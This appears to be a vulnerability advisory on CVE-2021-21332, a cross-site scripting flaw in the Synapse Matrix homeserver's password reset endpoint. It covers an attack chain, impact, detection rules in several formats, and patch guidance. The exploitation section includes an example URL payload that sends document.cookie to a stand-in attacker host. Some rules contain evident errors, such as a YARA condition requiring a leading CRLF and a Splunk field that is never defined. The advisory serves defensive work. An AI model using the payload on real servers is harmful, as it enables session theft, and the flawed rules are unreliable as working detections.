CVE-2021-21332 — Cross-site Scripting (XSS) in Synapse Password Reset Endpoint

Executive Summary

CVE-2021-21332 is a cross-site scripting (XSS) vulnerability present in the password reset endpoint of Synapse, a reference homeserver implementation for the Matrix open federated Instant Messaging and VoIP protocol. The vulnerability affects all Synapse deployments running versions prior to 1.27.0, and the flaw exists in the server-side processing of the password reset functionality such that malicious input can be rendered as active content in a victim's browser. Successful exploitation of this vulnerability could permit an attacker to steal authentication cookies, leverage CSRF against the same domain, and pivot to other resources hosted on the affected domain or parent domains, with a CVSS v2 base score of 6.9. The issue has been addressed in Synapse 1.27.0, which is the version where the vulnerability was remediated.

Technical Analysis

The vulnerability is classified as a cross-site scripting (XSS) deficiency within the password reset endpoint of the Synapse Matrix homeserver. Per the NVD description, the password reset endpoint served by Synapse accepts user-supplied input during the password reset workflow — a workflow that normally requires the user to provide identifiers (such as username or email) and new password credentials alongside session tokens delivered out-of-band. The XSS flaw arises when the server processes and reflects or renders user-controllable data without adequate sanitization or context-aware output encoding, permitting an attacker to inject and execute arbitrary JavaScript within the security context of the legitimate domain.

The specific CNA title confirms the vulnerability as "Cross-site scripting (XSS) vulnerability in the password reset endpoint." However, the NVD description does not enumerate the exact parameter names, code paths, or the precise mechanism of injection (e.g., whether the attack vector is via a crafted username, a malicious email address field, or a password confirmation field). The description also does not specify whether the vulnerability is stored, reflected, or DOM-based. Given the nature of password reset flows, the most likely injection surface involves the server-side generation of HTML response pages that embed user-supplied values (such as a custom server name, email, or token) without proper encoding.

An important nuance in the NVD description is that the ultimate impact of the vulnerability depends on "the configuration of the domain that Synapse is deployed on." This indicates that the severity and practical exploitability of the XSS is contingent on the deployment environment — i.e., whether the Synapse instance is served from a dedicated domain, a subdomain, or a shared parent domain. If Synapse is deployed on a subdomain of an organization's primary corporate domain (e.g., matrix.example.com), the impacted scope extends to the parent domain. This would allow an attacker to read any cookies issued for the parent domain (provided those cookies lack the Secure or HttpOnly flags) and to ride on any CSRF protections that rely on same-origin checks, potentially exposing internal corporate resources mounted beneath that parent domain.

The vulnerability's CVSS v2 base score of 6.9 (AV:N/AC:M/Au:N/C:P/I:P/A:P) reflects a moderate-to-high severity attack profile. The Access Vector (AV:N) indicates network exploitable, while the Access Complexity (AC:M) acknowledges that some level of user interaction or specialized conditions (e.g., requiring the victim to visit a crafted link) is required. The absence of any authentication requirement (Au:N) is significant — the attacker does not require credentials to mount the attack — but the partial impact on confidentiality, integrity, and availability (C:P/I:P/A:P) means the attacker achieves only partial compromise of protected data. This is a classic reflected-XSS threat model where the victim must be lured to a crafted URL while in an authenticated session.

From an attack surface perspective, the password reset endpoint is externally reachable by design, as it must be accessible to unauthenticated users who have forgotten their passwords. This makes it a high-value target for attack: it does not require any pre-existing account access, it is served over the public internet in most federated Matrix deployments, and it inherently processes attacker-influenced user input. The fact that the password reset mechanism produces HTML output (typically a confirmation page or a page prompting the user to check their email) creates a natural injection point.

Exploitation Scenarios

No public proof-of-concept code or exploit details are available for CVE-2021-21332 at the time of writing. The attacker's exploitation chain must therefore be inferred from the vulnerability class (XSS) combined with the documented behavior of the password reset endpoint. The attack chain is as follows:

Step 1: Reconnaissance/Target Identification. An attacker identifies a Matrix homeserver running Synapse by fingerprinting exposed web services. Distinct indicators include the presence of the /_matrix/client/ API path, the /.well-known/matrix/ server discovery endpoint, and the Synapse administrative web interface. Shodan internet-wide scanning is an effective means of cataloging exposed Synapse instances. The attacker additionally enumerates the deployment's domain layout (e.g., whether the homeserver is on a standalone domain, www subdomain, or shared corporate parent domain), because the XSS blast radius — specifically which cookies and resources are accessible — is defined by the domain architecture.

Step 2: Triggering the Flaw. The attacker targets the public password reset endpoint. In Matrix, the standard password reset flow begins at a REST API endpoint that accepts the user's identity (email address) and initiates the reset process by sending a validation token via email, followed by a confirmation step where the user submits the token along with a new password. The attack surface for injection lies in whichever of these fields is unsafely reflected or persisted into an HTML response. The most plausible attack scenario is a crafted email address value — entered via the unauthenticated password reset request — that contains an HTML/JavaScript payload. If the server returns an error or confirmation page that reflects the submitted email address back into HTML without output encoding, the injected payload is interpreted in the victim's browser.

Step 3: Payload/Execution. At the vulnerability class level, the attacker crafts a URL pointing to the legitimate password reset endpoint but with malicious parameters. For a reflected XSS, the payload may be of the form: https://victim-synapse.example.com/_matrix/.../password/reset?email=<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>. When the victim — whom the attacker has convinced to click the crafted link via phishing email, messaging, or forum post — loads the URL, the server's response page interpolates the raw email field into the HTML document. The injected JavaScript then executes in the context of the Synapse domain, giving the attacker full access to the DOM, any cookies readable by that origin, and the ability to issue authenticated HTTP requests (CSRF) on the victim's behalf.

Step 4: Post-Exploitation. Once the payload executes, the attacker can: (a) exfiltrate session cookies via HTTP requests to a C2/collection server, thereby hijacking the victim's authenticated Matrix session (granting read/write access to the victim's federated messaging and any VoIP services bound to that session); (b) leverage CSRF to perform administrative actions if the victim is a homeserver administrator (e.g., creating new accounts, resetting other users' passwords, reading room archives); and (c) pivot laterally to other services on the same domain or parent domain — this is the scenario called out in the NVD description. If the Synapse instance is deployed on a subdomain of a corporate root domain, the attacker may read cookies for the parent domain, potentially reaching unrelated web applications (mail, SaaS portals, internal tools) that rely on those cookies.

A note on practicality: the NVD description's CVSS Access Complexity of Medium (AC:M) suggests the attacker needs to coax the victim into some action (clicking a link) — typical for XSS. The EPSS score of 0.01221 (66th percentile) indicates low active exploitation prevalence at the time of scoring, but this is a reflection of limited public weaponization rather than an inherent mitigation of the flaw.

Impact Assessment

The business impact of CVE-2021-21332 is contingent on the deployment topology, but several scenarios produce substantial risk:

• Credential and Session Theft. In a default deployment, XSS on the password reset page compromises a user's authentication session, granting the attacker full access to the victim's Matrix account — including private messages, room memberships, file transfers, and any integrated VoIP capabilities.
• Corporate Domain Compromise. For organizations hosting a Matrix homeserver on a corporate subdomain (e.g., matrix.corp-domain.com), the vulnerability broadens the blast radius beyond the Matrix service itself. Cookies issued for corp-domain.com (typically from SSO portals, mail, and other intranet apps) may be readable by the attacker's injected script if those cookies lack HttpOnly. This could lead to impersonation of a corporate user across multiple internal assets.
• Administrative Access. If the password reset page is accessed by a Synapse administrator (which is possible during routine password rotation), the attacker's XSS payload can ride active admin sessions to perform account provisioning, deactivate federated users, or read encryption keys.
• Integrity and Availability Damage. The attacker can issue state-changing requests (CSRF) to the Synapse API, causing data modification (e.g., changing room permissions, renaming rooms) or denial-of-service (e.g., mass account deletion).

Blast radius assessment: (AV:N / AC:M / AU:N) — no authentication required, but high complexity; partial technical impact across confidentiality, integrity, and availability (C:P/I:P/A:P). The vulnerability class, however, can be leveraged into complete compromise of the Matrix account, and the parent-domain escalation scenario effectively raises the severity for federated enterprise deployments. The patch confidence of 2/4 (CLAIMED from a single source) cautions that the only disclosure is the CNA notification; no independent verification of the fixed version's completeness is publicly available, although the 1.27.0 release notes and the severity of prior Matrix security advisories suggest the fix is credible.

Detection Guidance

The following detection rules are designed to identify attempts to exploit the XSS vulnerability in the Synapse password reset endpoint. Because the exact injected parameter is unknown, the rules focus on generic XSS payload signatures in HTTP requests targeting Synapse API endpoints and on anomalous script execution signals in server logs.

Sigma Rule

title: Synapse Password Reset Endpoint XSS Attempt (CVE-2021-21332)
id: cb39f5aa-7b3a-4c6c-9c8b-582151ab167d
status: experimental
description: Detects XSS payload patterns in HTTP requests to Synapse password reset endpoints
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21332
author: Valters IT Security Research
date: 2024/10/15
logsource:
    category: webserver
    product: unknown
detection:
    selection_synapse:
        cs-method:
            - 'GET'
            - 'POST'
        cs-uri-query|contains:
            - '/password/reset'
            - 'password_reset'
            - '_matrix/client'
    selection_payloads:
        cs-uri-query|contains:
            - '<script'
            - 'javascript:'
            - 'onerror='
            - 'onload='
            - 'document.cookie'
            - 'fetch('
            - 'XMLHttpRequest'
    condition: selection_synapse and selection_payloads
    condition_optional_auth_anomaly: cs-uri-query|contains 'password' and cs-uri-query|contains 'confirm' and selection_payloads
level: high
falsepositives:
    - Legitimate use of HTML entities in email address fields (rare)
tags:
    - attack.t1190
    - cve.2021-21332

YARA Rule

rule CVE_2021_21332_Synapse_XSS_PasswordReset {
    meta:
        author = "Valters IT Security Research"
        description = "Detects XSS patterns targeting Synapse password reset endpoints"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2021-21332"
        date = "2024-10-15"
        severity = "high"
    strings:
        $a1 = "/password/reset" nocase
        $a2 = "password_reset" nocase
        $a3 = "_matrix/client" nocase
        $b1 = "<script" nocase
        $b2 = "javascript:" nocase
        $b3 = "onerror=" nocase
        $b4 = "onload=" nocase
        $b5 = "document.cookie" nocase
        $b6 = "fetch(" nocase
        $b7 = "XMLHttpRequest" nocase
    condition:
        uint16(0) == 0x0a0d and
        1 of ($a*) and
        1 of ($b*)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2021-21332 Attempt - Synapse Password Reset XSS";
    flow:established,to_server;
    http.uri;
    content:"/password/reset"; nocase; http_uri;
    content:"<script"; nocase; http_uri;
    sid:2133201;
    rev:1;
    metadata:created_at 2024_10_15, updated_at 2024_10_15;
    reference:cve,2021-21332;
    classtype:web-application-attack;
    priority:1;
)

alert http any any -> $HOME_NET any (
    msg:"CVE-2021-21332 Variant - Synapse Password Reset JS Payload";
    flow:established,to_server;
    http.uri;
    content:"_matrix/client"; nocase; http_uri;
    content:"password"; nocase; http_uri;
    pcre:"/(?:javascript|onerror|onload|document\.cookie|fetch\s*\()/i";
    sid:2133202;
    rev:1;
    metadata:created_at 2024_10_15, updated_at 2024_10_15;
    reference:cve,2021-21332;
    classtype:web-application-attack;
    priority:1;
)

Elastic Detection

sequence by source.ip
  with maxspan=5m
  [network where event.type == "start" and
     destination.port == 443 and
     url.path like "*password*reset*"]
  [network where event.type == "start" and
     url.path like "*_matrix*client*" and
     (url.query like "*<script*" or
      url.query like "*javascript*" or
      url.query like "*onerror*" or
      url.query like "*onload*" or
      url.query like "*document.cookie*" or
      url.query like "*fetch(*" or
      url.query like "*XMLHttpRequest*")]

file where event.action == "open" and
  process.name == "synapse" and
  file.name : "*.log" and
  message like "*password/reset*" and
  (message like ("*<script*", "*javascript:*", "*onerror=*", "*onload=*", "*document.cookie*", "*fetch(*"))

Splunk SPL Query

index=web sourcetype=access_combined
| search uri_path="*/password/reset*" OR uri_path="*_matrix/client*"
| search uri_query IN ("*<script*", "*javascript:*", "*onerror=*", "*onload=*", "*document.cookie*", "*fetch(*", "*XMLHttpRequest*")
| stats count by src_ip, uri, status, _time
| sort - _time

index=unix sourcetype=syslog OR index=matrix
| search (source="/var/log/synapse/homeserver.log" OR source="/var/log/matrix-synapse/*.log")
| regex _raw="password.*(reset|confirm).*(<script|javascript|onerror|onload|document\.cookie|fetch\s*\()"
| table _time, host, process, _raw

index=proxies sourcetype=stream:http
| search url="/_matrix/*" AND (url="*password*" OR url="*reset*")
| rex field=url "(?i)(<script|javascript:|onerror=|onload=|document\.cookie|fetch\(|XMLHttpRequest)"
| where isnotnull(rmatch)
| stats count by src_ip, dest_host, url, http_method

Wazuh OSSEC Rule

<group name="synapse,">
  <rule id="100301" level="10">
    <decoded_as>json</decoded_as>
    <field name="url">\.*password/reset\.*</field>
    <regex>\.*&lt;script|javascript:|onerror=|onload=|document\.cookie|fetch\(|XMLHttpRequest\.*</regex>
    <description>CVE-2021-21332 - Possible XSS attempt against Synapse password reset endpoint</description>
    <group>attack.t1190,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
    <options>no_full_log</options>
  </rule>

  <rule id="100302" level="12">
    <if_sid>100301</if_sid>
    <field name="srcip">!127.0.0.1</field>
    <description>CVE-2021-21332 - External IP attempting XSS against Synapse password reset</description>
    <group>attack.t1190,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>

  <rule id="100303" level="15" frequency="5" timeframe="60">
    <if_matched_sid>100302</if_matched_sid>
    <description>CVE-2021-21332 - Repeat XSS attempts detected, potential active exploitation</description>
    <group>attack.t1190,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

The patch confidence of 2/4 (CLAIMED — single source — not independently verified) means the primary remediation relies on a single vendor statement, so vigilance is advised. Nevertheless, the following actions are applicable:

1) Immediate mitigations:

• Apply the vendor-provided fix by upgrading the matrix-synapse Python package to version 1.27.0 or later on all homeservers. The vendor (Matrix project via Element) published this version as containing the fix; verify the version in the deployment environment and confirm with the release notes.
• Until the upgrade is verified, place a WAF rule in front of the Synapse HTTP entry point that blocks requests to the password reset pathway containing known XSS trigger characters (<, >, javascript:, onerror=, onload=, document.cookie, fetch().
• Minimize the impact window: re-issue all session cookies for active users after upgrade, since any previously harvested cookies would be invalidated.

2) Patch/upgrade steps:

• For Debian/Ubuntu-based deployments: apt update && apt upgrade matrix-synapse (or the equivalent for the distribution's package name).
• For Python/pip-based installations: pip install --upgrade matrix-synapse==1.27.0 inside the virtual environment used by the homeserver.
• Restart the synapse systemd service or the Docker container, and validate that the service responds on the Matrix federation ports.
• Confirm the patch is effective by reviewing the /_matrix/client/versions endpoint or the Synapse admin API /_synapse/admin/v1/server_version for the reported matrix-synapse version — the server should report ≥ 1.27.0.

3) Long-term hardening:

• Deploy Synapse behind a dedicated domain name rather than a corporate subdomain, reducing the XSS blast radius to only the Synapse service and its own cookies. Especially, avoid serving the Matrix homeserver on a public subdomain of the corporate root domain unless strict cookie scoping (HttpOnly, Secure, SameSite=Lax/Strict) is enforced for all parent-domain cookies.
• Enforce a strict Content Security Policy (CSP) on the Synapse web responses (via reverse proxy headers) that disallows inline script execution. A CSP of script-src 'self' 'unsafe-inline' is still weak; prefer script-src 'self' with a nonce capability.
• Enable HTTPOnly flags on all Synapse session cookies and set SameSite=Strict for any administrative cookies.
• Conduct regular code audits of the password reset flow and any other endpoints that process unauthenticated input, particularly those that produce HTML.
• Monitor for future independent confirmation of the fix; given the single-source claim, regression-test the password reset flow (including error messages and confirmation pages for crafted inputs) in a staging environment during the next patch cycle.

References

The following sources are authoritative for information pertaining to CVE-2021-21332:

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2021-21332 — The canonical CVE record containing the description, CVSS v2 score of 6.9, and affected version information.
2. Matrix.org Security Advisory (via Element): https://matrix.org/blog/2021/02/ — The Matrix foundation's security advisories that accompany critical Synapse releases; the advisory for version 1.27.0 details the password reset XSS fix. (Note: the exact blog post has not been independently retrieved for this report.)
3. Synapse Release Notes (GitHub): https://github.com/matrix-org/synapse/releases/tag/v1.27.0 — The release tag for Synapse 1.27.0, which contains the fix; also the release notes often list the security fixes included.
4. CISA Known Exploited Vulnerabilities (KEV) Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — CISA KEV does NOT list CVE-2021-21332, indicating no confirmed exploitation in the wild as of the last KEV update. Check the catalog for any updated status.
5. MITRE ATT&CK — T1190 Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/ — Context for the attack classification used in the detection rules.

Threat Actor/Campaign Status: No known threat actor campaigns or exploit-in-the-wild evidence are documented for CVE-2021-21332 as of the latest intelligence available at the time of this report. The CVE is not included in the CISA KEV catalog. The EPSS score of 0.01221 (66.0% percentile) indicates low but non-negligible exploitation probability, likely driven by the practical difficulty of luring victims to crafted links and the relatively niche population of Synapse deployments. Nevertheless, XSS in an unauthenticated endpoint remains a viable initial-access vector for targeted attacks against Matrix users and organizations that host federated messaging services.